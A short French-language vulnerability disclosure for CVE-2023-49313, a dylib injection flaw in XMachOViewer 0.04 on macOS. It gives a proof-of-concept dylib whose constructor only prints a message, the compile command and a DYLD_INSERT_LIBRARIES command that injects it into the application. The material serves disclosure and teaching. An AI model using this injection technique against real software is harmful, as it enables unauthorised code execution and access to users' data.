CVE-2023-49313

Une vulnérabilité d'injection de dylib dans XMachOViewer 0.04 permet à des attaquants de compromettre l'intégrité. En exploitant cette faille, du code non autorisé peut être injecté dans les processus du produit, ce qui peut potentiellement conduire à un contrôle à distance et à un accès non autorisé à des données utilisateur sensibles.

Version portable pour macOS

• Nous allons d'abord écrire la dylib

#include <syslog.h>
#include <stdio.h>

__attribute__((constructor))
static void poc(void)
{
    printf("Malicious Dylib Inserted");
}

• Compiler gcc -dynamiclib -arch x86_64 -o poc.dylib poc.c

• Et injectez-la : DYLD_INSERT_LIBRARIES=poc.dylib /Applications/XMachOViewer.app/Contents/MacOS/XMachOViewer

Ceci ouvrira l'application et exécutera la dylib. Après avoir fermé l'application, on la voit dans le terminal :

• Vous pouvez en apprendre davantage et approfondir le sujet sur : https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries